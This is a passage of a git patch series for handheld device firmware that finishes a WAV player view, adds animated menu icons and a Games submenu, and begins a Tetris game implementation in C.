model) { + model->start = start; + return true; + }); +} + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->end = end; + return true; + }); +} + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->current = current; + return true; + }); +} + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->play = play; + return true; + }); +} + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + size_t inc = (data_count / DATA_COUNT) - 1; + + for(size_t i = 0; i < DATA_COUNT; i++) { + model->data[i] = *data / 6; + if(model->data[i] > 42) model->data[i] = 42; + data += inc; + } + return true; + }); +} + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { + furi_assert(wav_view); + wav_view->callback = callback; +} + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { + furi_assert(wav_view); + wav_view->context = context; +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.h b/applications/wav_player/wav_player_view.h new file mode 100644 index 000000000..246aeaf3e --- /dev/null +++ b/applications/wav_player/wav_player_view.h @@ -0,0 +1,45 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct WavPlayerView WavPlayerView; + +typedef enum { + WavPlayerCtrlVolUp, + WavPlayerCtrlVolDn, + WavPlayerCtrlMoveL, + WavPlayerCtrlMoveR, + WavPlayerCtrlOk, + WavPlayerCtrlBack, +} WavPlayerCtrl; + +typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); + +WavPlayerView* wav_player_view_alloc(); + +void wav_player_view_free(WavPlayerView* wav_view); + +View* wav_player_view_get_view(WavPlayerView* wav_view); + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play); + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index fb125095a..f62745b77 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -372,6 +372,13 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; +const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; +const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; +const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; +const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; +const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; +const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; + const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 459478802..3d8a6fc9b 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -99,6 +99,7 @@ extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; +extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; From 50fccb44558d19cb04c1f72b209264c9a34c09a2 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 20:17:44 +0300 Subject: [PATCH 253/461] fix icon & compiler flags --- assets/compiled/assets_icons.c | 1 + assets/icons/MainMenu/MusicPlayer_14/frame_0.png | Bin 0 -> 149 bytes assets/icons/MainMenu/MusicPlayer_14/frame_1.png | Bin 0 -> 148 bytes assets/icons/MainMenu/MusicPlayer_14/frame_2.png | Bin 0 -> 141 bytes assets/icons/MainMenu/MusicPlayer_14/frame_3.png | Bin 0 -> 147 bytes assets/icons/MainMenu/MusicPlayer_14/frame_4.png | Bin 0 -> 144 bytes assets/icons/MainMenu/MusicPlayer_14/frame_rate | 1 + firmware/targets/f7/target.mk | 3 +-- 8 files changed, 3 insertions(+), 2 deletions(-) create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_0.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_1.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_2.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_3.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_4.png create mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_rate diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index f62745b77..c4daf3a98 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -756,6 +756,7 @@ const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate= const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; +const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_0.png b/assets/icons/MainMenu/MusicPlayer_14/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..9b20ba849018f60bece85ca0c8f2464192b4480d GIT binary patch literal 149 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}{+=$5AsQ36 zUh?K*P~cz*=zUlJG*dL>Uu&AA%^FWOhOCs50FIeE`OG&JyjmqyrpT~qm$&bg5A(zJ wp80;@H&bzv7-z&u*7M&MiHhZ)dH08@qFGGl!}2qhK%*HvUHx3vIVCg!0Pt}!$p8QV literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_1.png b/assets/icons/MainMenu/MusicPlayer_14/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..781d353be4cdab914805fa514fd4806c765034ab GIT binary patch literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ3+ zPO|1>P~dPrTJc}|`pG4R5!%hM5)VG|Gi09mmHs7ZGJwL9{jSp o_4=Xa2hERZf8Y1-{<^b#(o5V-6A)a6qhMgDcf?5ylr;WQ~@O4)^K4W-fyjYIEN$nA5Q)G_U?TGfyL rmTjgpg=IQJw Date: Wed, 1 Jun 2022 20:54:51 +0300 Subject: [PATCH 254/461] add tetris game & games menu & 2 icons --- applications/applications.c | 38 +- applications/applications.h | 6 + applications/applications.mk | 6 + applications/loader/loader.c | 38 ++ applications/loader/loader_i.h | 2 + applications/tetris_game/tetris_game.c | 479 +++++++++++++++++++ assets/icons/MainMenu/Snake_14/frame_01.png | Bin 0 -> 146 bytes assets/icons/MainMenu/Snake_14/frame_02.png | Bin 0 -> 148 bytes assets/icons/MainMenu/Snake_14/frame_03.png | Bin 0 -> 146 bytes assets/icons/MainMenu/Snake_14/frame_04.png | Bin 0 -> 148 bytes assets/icons/MainMenu/Snake_14/frame_05.png | Bin 0 -> 160 bytes assets/icons/MainMenu/Snake_14/frame_06.png | Bin 0 -> 148 bytes assets/icons/MainMenu/Snake_14/frame_07.png | Bin 0 -> 160 bytes assets/icons/MainMenu/Snake_14/frame_08.png | Bin 0 -> 96 bytes assets/icons/MainMenu/Snake_14/frame_09.png | Bin 0 -> 114 bytes assets/icons/MainMenu/Snake_14/frame_10.png | Bin 0 -> 129 bytes assets/icons/MainMenu/Snake_14/frame_11.png | Bin 0 -> 139 bytes assets/icons/MainMenu/Snake_14/frame_12.png | Bin 0 -> 138 bytes assets/icons/MainMenu/Snake_14/frame_13.png | Bin 0 -> 138 bytes assets/icons/MainMenu/Snake_14/frame_14.png | Bin 0 -> 140 bytes assets/icons/MainMenu/Snake_14/frame_15.png | Bin 0 -> 141 bytes assets/icons/MainMenu/Snake_14/frame_rate | 1 + assets/icons/MainMenu/Tetris_14/frame_01.png | Bin 0 -> 161 bytes assets/icons/MainMenu/Tetris_14/frame_02.png | Bin 0 -> 159 bytes assets/icons/MainMenu/Tetris_14/frame_03.png | Bin 0 -> 153 bytes assets/icons/MainMenu/Tetris_14/frame_04.png | Bin 0 -> 141 bytes assets/icons/MainMenu/Tetris_14/frame_05.png | Bin 0 -> 124 bytes assets/icons/MainMenu/Tetris_14/frame_06.png | Bin 0 -> 144 bytes assets/icons/MainMenu/Tetris_14/frame_07.png | Bin 0 -> 124 bytes assets/icons/MainMenu/Tetris_14/frame_08.png | Bin 0 -> 144 bytes assets/icons/MainMenu/Tetris_14/frame_09.png | Bin 0 -> 129 bytes assets/icons/MainMenu/Tetris_14/frame_10.png | Bin 0 -> 154 bytes assets/icons/MainMenu/Tetris_14/frame_rate | 1 + 33 files changed, 561 insertions(+), 10 deletions(-) create mode 100644 applications/tetris_game/tetris_game.c create mode 100644 assets/icons/MainMenu/Snake_14/frame_01.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_02.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_03.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_04.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_05.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_06.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_07.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_08.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_09.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_10.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_11.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_12.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_13.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_14.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_15.png create mode 100644 assets/icons/MainMenu/Snake_14/frame_rate create mode 100644 assets/icons/MainMenu/Tetris_14/frame_01.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_02.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_03.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_04.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_05.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_06.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_07.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_08.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_09.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_10.png create mode 100644 assets/icons/MainMenu/Tetris_14/frame_rate diff --git a/applications/applications.c b/applications/applications.c index e3d4c77df..115eeadb4 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -21,7 +21,6 @@ extern int32_t accessor_app(void* p); extern int32_t archive_app(void* p); extern int32_t bad_usb_app(void* p); extern int32_t u2f_app(void* p); -extern int32_t wav_player_app(void* p); extern int32_t uart_echo_app(void* p); extern int32_t blink_test_app(void* p); extern int32_t bt_debug_app(void* p); @@ -49,7 +48,11 @@ extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); +extern int32_t wav_player_app(void* p); + +// Games extern int32_t snake_game_app(void* p); +extern int32_t tetris_game_app(void *p); // On system start hooks declaration extern void bt_on_system_start(); @@ -344,14 +347,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_SNAKE_GAME - {.app = snake_game_app, - .name = "Snake Game", - .stack_size = 1024, - .icon = &A_Plugins_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_WAV_PLAYER {.app = wav_player_app, .name = "WAV Player", @@ -364,7 +359,30 @@ const FlipperApplication FLIPPER_PLUGINS[] = { const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); -// Plugin menu +// Games menu +const FlipperApplication FLIPPER_GAMES[] = { + +#ifdef APP_SNAKE_GAME + {.app = snake_game_app, + .name = "Snake", + .stack_size = 1024, + .icon = &A_Snake_14, + .flags = FlipperApplicationFlagDefault}, +#endif + +#ifdef APP_TETRIS_GAME + {.app = tetris_game_app, + .name = "Tetris", + .stack_size = 1024, + .icon = &A_Tetris_14, + .flags = FlipperApplicationFlagDefault}, +#endif + +}; + +const size_t FLIPPER_GAMES_COUNT = COUNT_OF(FLIPPER_GAMES); + +// Debug menu const FlipperApplication FLIPPER_DEBUG_APPS[] = { #ifdef APP_BLINK {.app = blink_test_app, diff --git a/applications/applications.h b/applications/applications.h index bebe438ab..72eaf9135 100644 --- a/applications/applications.h +++ b/applications/applications.h @@ -42,6 +42,12 @@ extern const size_t FLIPPER_ON_SYSTEM_START_COUNT; extern const FlipperApplication FLIPPER_PLUGINS[]; extern const size_t FLIPPER_PLUGINS_COUNT; +/* Games list +* Spawned by loader +*/ +extern const FlipperApplication FLIPPER_GAMES[]; +extern const size_t FLIPPER_GAMES_COUNT; + /* Debug menu apps * Spawned by loader */ diff --git a/applications/applications.mk b/applications/applications.mk index aa97f6207..b16bd1f65 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -48,6 +48,7 @@ APP_UPDATER = 1 APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_WAV_PLAYER = 1 +APP_TETRIS_GAME = 1 # Debug APP_ACCESSOR = 1 @@ -247,6 +248,11 @@ CFLAGS += -DAPP_WAV_PLAYER SRV_GUI = 1 endif +APP_TETRIS_GAME ?= 0 +ifeq ($(APP_TETRIS_GAME), 1) +CFLAGS += -DAPP_TETRIS_GAME +SRV_GUI = 1 +endif APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) diff --git a/applications/loader/loader.c b/applications/loader/loader.c index e5d597029..ceca0b352 100644 --- a/applications/loader/loader.c +++ b/applications/loader/loader.c @@ -86,6 +86,10 @@ const FlipperApplication* loader_find_application_by_name(const char* name) { application = loader_find_application_by_name_in_list(name, FLIPPER_PLUGINS, FLIPPER_PLUGINS_COUNT); } + if(!application) { + application = + loader_find_application_by_name_in_list(name, FLIPPER_GAMES, FLIPPER_GAMES_COUNT); + } if(!application) { application = loader_find_application_by_name_in_list( name, FLIPPER_SETTINGS_APPS, FLIPPER_SETTINGS_APPS_COUNT); @@ -155,6 +159,11 @@ void loader_cli_list(Cli* cli, string_t args, Loader* instance) { printf("\t%s\r\n", FLIPPER_PLUGINS[i].name); } + printf("Games:\r\n"); + for(size_t i = 0; i < FLIPPER_GAMES_COUNT; i++) { + printf("\t%s\r\n", FLIPPER_GAMES[i].name); + } + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { printf("Debug:\r\n"); for(size_t i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { @@ -321,6 +330,13 @@ static Loader* loader_alloc() { instance->view_dispatcher, LoaderMenuViewPlugins, submenu_get_view(instance->plugins_menu)); + // Games menu + instance->games_menu = submenu_alloc(); + view_set_context(submenu_get_view(instance->games_menu), instance->games_menu); + view_set_previous_callback( + submenu_get_view(instance->games_menu), loader_back_to_primary_menu); + view_dispatcher_add_view( + instance->view_dispatcher, LoaderMenuViewGames, submenu_get_view(instance->games_menu)); // Debug menu instance->debug_menu = submenu_alloc(); view_set_context(submenu_get_view(instance->debug_menu), instance->debug_menu); @@ -358,6 +374,8 @@ static void loader_free(Loader* instance) { view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPrimary); submenu_free(loader_instance->plugins_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPlugins); + submenu_free(loader_instance->games_menu); + view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewGames); submenu_free(loader_instance->debug_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewDebug); submenu_free(loader_instance->settings_menu); @@ -391,6 +409,15 @@ static void loader_build_menu() { loader_submenu_callback, (void*)LoaderMenuViewPlugins); } + if(FLIPPER_GAMES_COUNT != 0) { + menu_add_item( + loader_instance->primary_menu, + "Games", + &A_Games_14, + i++, + loader_submenu_callback, + (void*)LoaderMenuViewGames); + } if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { menu_add_item( loader_instance->primary_menu, @@ -421,6 +448,17 @@ static void loader_build_submenu() { (void*)&FLIPPER_PLUGINS[i]); } + FURI_LOG_I(TAG, "Building games menu"); + size_t i; + for(i = 0; i < FLIPPER_GAMES_COUNT; i++) { + submenu_add_item( + loader_instance->games_menu, + FLIPPER_GAMES[i].name, + i, + loader_menu_callback, + (void*)&FLIPPER_GAMES[i]); + } + FURI_LOG_I(TAG, "Building debug menu"); for(i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { submenu_add_item( diff --git a/applications/loader/loader_i.h b/applications/loader/loader_i.h index 4c937b942..21b3191e1 100644 --- a/applications/loader/loader_i.h +++ b/applications/loader/loader_i.h @@ -27,6 +27,7 @@ struct Loader { ViewDispatcher* view_dispatcher; Menu* primary_menu; Submenu* plugins_menu; + Submenu* games_menu; Submenu* debug_menu; Submenu* settings_menu; @@ -38,6 +39,7 @@ struct Loader { typedef enum { LoaderMenuViewPrimary, LoaderMenuViewPlugins, + LoaderMenuViewGames, LoaderMenuViewDebug, LoaderMenuViewSettings, } LoaderMenuView; diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c new file mode 100644 index 000000000..18c221b89 --- /dev/null +++ b/applications/tetris_game/tetris_game.c @@ -0,0 +1,479 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define BORDER_OFFSET 1 +#define MARGIN_OFFSET 3 +#define BLOCK_HEIGHT 6 +#define BLOCK_WIDTH 6 + +#define FIELD_WIDTH 11 +#define FIELD_HEIGHT 24 + +typedef struct Point { + // Also used for offset data, which is sometimes negative + int8_t x, y; +} Point; + +// Rotation logic taken from +// https://www.youtube.com/watch?v=yIpk5TJ_uaI +typedef enum { + OffsetTypeCommon, + OffsetTypeI, + OffsetTypeO +} OffsetType; + +// Since we only support rotating clockwise, these are actual translation values, +// not values to be subtracted to get translation values + +static const Point rotOffsetTranslation[3][4][5] = { + { + { {0,0}, {-1,0}, {-1,-1}, {0,2}, {-1,2} }, + { {0,0}, {1,0}, {1,1}, {0,-2}, {1,-2} }, + { {0,0}, {1,0}, {1,-1}, {0,2}, {1,2} }, + { {0,0}, {-1,0}, {-1,1}, {0,-2}, {-1,-2} } + }, + { + { {1,0}, {-1,0}, {2,0}, {-1,1}, {2,-2} }, + { {0,1}, {-1,1}, {2,1}, {-1,-1}, {2,2} }, + { {-1,0}, {1,0}, {-2,0}, {1,-1}, {-2,2} }, + { {0,-1}, {1,-1}, {-2,-1}, {1,1}, {-2,-2} } + }, + { + { {0,-1}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {1,0}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {0,1}, {0,0}, {0,0}, {0,0}, {0,0} }, + { {-1,0}, {0,0}, {0,0}, {0,0}, {0,0} } + } +}; + +typedef struct { + Point p[4]; + uint8_t rotIdx; + OffsetType offsetType; +} Piece; + +// Shapes @ spawn locations, rotation point first +static Piece shapes[] = { + { .p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // Z + { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // S + { .p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // L + { .p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // J + { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // T + { .p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI }, // I + { .p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO } // O +}; + +typedef enum { + GameStatePlaying, + GameStateGameOver +} GameState; + +typedef struct { + bool playField[FIELD_HEIGHT][FIELD_WIDTH]; + Piece currPiece; + uint16_t numLines; + uint16_t fallSpeed; + GameState gameState; + osTimerId_t timer; +} TetrisState; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} TetrisEvent; + +static void tetris_game_draw_border(Canvas* const canvas) { + canvas_draw_line(canvas, 0, 0, 0, 127); + canvas_draw_line(canvas, 0, 127, 63, 127); + canvas_draw_line(canvas, 63, 127, 63, 0); + + canvas_draw_line(canvas, 2, 0, 2, 125); + canvas_draw_line(canvas, 2, 125, 61, 125); + canvas_draw_line(canvas, 61, 125, 61, 0); +} + +static void tetris_game_draw_playfield(Canvas* const canvas, const TetrisState* tetris_state) { + // Playfield: 11 x 24 + + for (int y = 0; y < FIELD_HEIGHT; y++) { + for (int x = 0; x < FIELD_WIDTH; x++) { + if (tetris_state->playField[y][x]) { + uint16_t xOffset = x * 5; + uint16_t yOffset = y * 5; + + canvas_draw_rframe( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset, + BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, + BLOCK_WIDTH, + BLOCK_HEIGHT, + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 3, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 + ); + canvas_draw_dot( + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2 + ); + } + } + } +} + +static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { + const TetrisState* tetris_state = acquire_mutex((ValueMutex*)ctx, 25); + if(tetris_state == NULL) { + FURI_LOG_E("TetrisGame", "it null"); + return; + } + + tetris_game_draw_border(canvas); + tetris_game_draw_playfield(canvas, tetris_state); + + if(tetris_state->gameState == GameStateGameOver) { + // 128 x 64 + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 1, 52, 62, 24); + + canvas_set_color(canvas, ColorBlack); + canvas_draw_frame(canvas, 1, 52, 62, 24); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 4, 63, "Game Over"); + + char buffer[13]; + snprintf(buffer, sizeof(buffer), "Lines: %u", tetris_state->numLines); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 32, 73, AlignCenter, AlignBottom, buffer); + } + release_mutex((ValueMutex *)ctx, tetris_state); + } + +static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + TetrisEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void tetris_game_init_state(TetrisState* tetris_state) { + tetris_state->gameState = GameStatePlaying; + tetris_state->numLines = 0; + tetris_state->fallSpeed = 500; + memset(tetris_state->playField, 0, sizeof(tetris_state->playField)); + + memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); + + osTimerStart(tetris_state->timer, tetris_state->fallSpeed); +} + +static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { + for (int i = 0; i < 4; i++) { + uint8_t x = tetris_state->currPiece.p[i].x; + uint8_t y = tetris_state->currPiece.p[i].y; + + tetris_state->playField[y][x] = false; + } +} + +static void tetris_game_render_curr_piece(TetrisState* tetris_state) { + for (int i = 0; i < 4; i++) { + uint8_t x = tetris_state->currPiece.p[i].x; + uint8_t y = tetris_state->currPiece.p[i].y; + + tetris_state->playField[y][x] = true; + } +} + +static void tetris_game_rotate_shape(Point currShape[], Point newShape[]) { + // Copy shape data + for(int i = 0; i < 4; i++) { + newShape[i] = currShape[i]; + } + + for (int i = 1; i < 4; i++) { + int8_t relX = currShape[i].x - currShape[0].x; + int8_t relY = currShape[i].y - currShape[0].y; + + // Matrix rotation thing + int8_t newRelX = (relX * 0) + (relY * -1); + int8_t newRelY = (relX * 1) + (relY * 0); + + newShape[i].x = currShape[0].x + newRelX; + newShape[i].y = currShape[0].y + newRelY; + } +} + +static void tetris_game_apply_kick(Point points[], Point kick) { + for(int i = 0; i < 4; i++) { + points[i].x += kick.x; + points[i].y += kick.y; + } +} + +static bool tetris_game_is_valid_pos(TetrisState* tetris_state, Point* shape) { + for (int i = 0; i < 4; i++) { + if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || tetris_state->playField[shape[i].y][shape[i].x] == true) { + return false; + } + } + return true; +} + +static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) { + uint8_t currRotIdx = tetris_state->currPiece.rotIdx; + + Point *rotatedShape = malloc(sizeof(Point) * 4); + Point *kickedShape = malloc(sizeof(Point) * 4); + + memcpy(rotatedShape, &tetris_state->currPiece.p, sizeof(tetris_state->currPiece.p)); + + tetris_game_rotate_shape(tetris_state->currPiece.p, rotatedShape); + + for(int i = 0; i < 5; i++) { + memcpy(kickedShape, rotatedShape, (sizeof(Point) * 4)); + tetris_game_apply_kick(kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); + + if(tetris_game_is_valid_pos(tetris_state, kickedShape)) { + memcpy(&newPiece->p, kickedShape, sizeof(newPiece->p)); + newPiece->rotIdx = (newPiece->rotIdx + 1) % 4; + break; + } + } + free(rotatedShape); + free(kickedShape); +} + +static bool tetris_game_row_is_line(bool row[]) { + for(int i = 0; i < FIELD_WIDTH; i++) { + if(row[i] == false) + return false; + } + return true; +} + +static void tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { + for(int i = 0; i < FIELD_HEIGHT; i++) { + if(tetris_game_row_is_line(tetris_state->playField[i])) { + *(lines++) = i; + *numLines += 1; + } + } +} + +static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPiece) { + for (int i = 0; i < 4; i++) { + Point *pos = (Point *)&newPiece->p; + if (pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { + return true; + } + } + return false; +} + +static void 